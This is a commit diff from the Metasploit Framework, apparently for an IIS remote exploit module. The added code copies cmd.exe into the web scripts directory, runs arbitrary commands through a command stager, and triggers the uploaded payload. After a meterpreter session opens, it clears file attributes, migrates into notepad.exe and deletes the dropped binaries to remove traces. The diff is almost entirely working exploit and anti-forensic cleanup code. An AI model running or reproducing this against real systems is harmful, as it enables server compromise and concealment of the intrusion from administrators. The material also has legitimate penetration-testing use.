improve reliability, add automatic cleanup functionality (if using meterpreter paylad)
git-svn-id: file:///home/svn/framework3/trunk@10170 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
8dd489ad3b
commit
430878e3e9
|
@ -53,16 +53,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
Opt::RPORT(80),
|
||||
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
|
||||
=begin
|
||||
#
|
||||
# Comment out for now, until we actually have such a template in the tree
|
||||
# See #2046
|
||||
#
|
||||
OptString.new('EXETEMPLATE', [ false, 'Use this EXE as a template for the command stager',
|
||||
File.join(Msf::Config.install_root, "data", "templates", "template_nt4.exe") ]),
|
||||
=end
|
||||
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ])
|
||||
], self.class)
|
||||
|
||||
framework.events.add_exploit_subscriber(self)
|
||||
end
|
||||
|
||||
|
||||
|
@ -130,6 +124,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# a valid response is returned...
|
||||
#
|
||||
def execute_command(cmd, opts = {})
|
||||
|
||||
# Don't try the start command...
|
||||
# Using the "start" method doesn't seem to make iis very happy :(
|
||||
return [nil,nil] if cmd =~ /^start [a-zA-Z]+\.exe$/
|
||||
|
||||
print_status("Executing command: #{cmd}")
|
||||
|
||||
uri = '/scripts/'
|
||||
exe = opts[:cgifname]
|
||||
if (not exe)
|
||||
|
@ -157,23 +158,81 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# first copy the file
|
||||
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
|
||||
# NOTE: this assumes %SystemRoot% on the same drive as the web scripst directory
|
||||
print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...")
|
||||
# NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory
|
||||
# However, it using %SystemRoot% doesn't seem to work :(
|
||||
res = execute_command("copy \\winnt\\system32\\cmd.exe #{exe_fname}")
|
||||
|
||||
if (datastore['CMD'])
|
||||
res = execute_command(datastore['CMD'], { :cgifname => exe_fname })
|
||||
if (res[0])
|
||||
print_status("Command output:\n" + res[0])
|
||||
else
|
||||
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
||||
print_error("No output received")
|
||||
end
|
||||
|
||||
print_status("NOTE: The copied cmd.exe and payload binaries must be deleted manually")
|
||||
# NOTE: We try to delete the copied exe here, although if the payload is running,
|
||||
# we probably can't delete it due to it being in use...
|
||||
execute_command("del #{exe_fname}")
|
||||
res = execute_command("del #{exe_fname}")
|
||||
return
|
||||
end
|
||||
|
||||
# Use the CMD stager to get a payload running
|
||||
execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname })
|
||||
|
||||
# Save these file names for later deletion
|
||||
@exe_cmd_copy = exe_fname
|
||||
@exe_payload = payload_exe
|
||||
|
||||
# Just for good measure, we'll make a quick, direct request for the payload
|
||||
# Using the "start" method doesn't seem to make iis very happy :(
|
||||
print_status("Triggering the payload via a direct request...")
|
||||
mini_http_request({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# The following handles deleting the copied cmd.exe and payload exe!
|
||||
#
|
||||
def on_new_session(client)
|
||||
|
||||
if client.type != "meterpreter"
|
||||
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
|
||||
print_error("The copied exe and the payload exe must be removed manually.")
|
||||
return
|
||||
end
|
||||
|
||||
return if not @exe_cmd_copy
|
||||
|
||||
# stdapi must be loaded before we can use fs.file
|
||||
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||
|
||||
# Delete the copied CMD.exe
|
||||
print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...")
|
||||
client.fs.file.rm(@exe_cmd_copy)
|
||||
|
||||
# Migrate so that we can delete the payload exe
|
||||
client.console.run_single("run migrate -f notepad.exe")
|
||||
|
||||
# Delete the payload exe
|
||||
return if not @exe_payload
|
||||
|
||||
delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload
|
||||
|
||||
print_status("Changing permissions on #{delete_me_too} ...")
|
||||
cmd = "C:\\winnt\\system32\\attrib.exe -r -h -s " + delete_me_too
|
||||
client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
|
||||
print_status("Deleting #{delete_me_too} ...")
|
||||
begin
|
||||
client.fs.file.rm(delete_me_too)
|
||||
rescue ::Exception => e
|
||||
print_error("Exception: #{e.inspect}")
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
framework.events.remove_exploit_subscriber(self)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue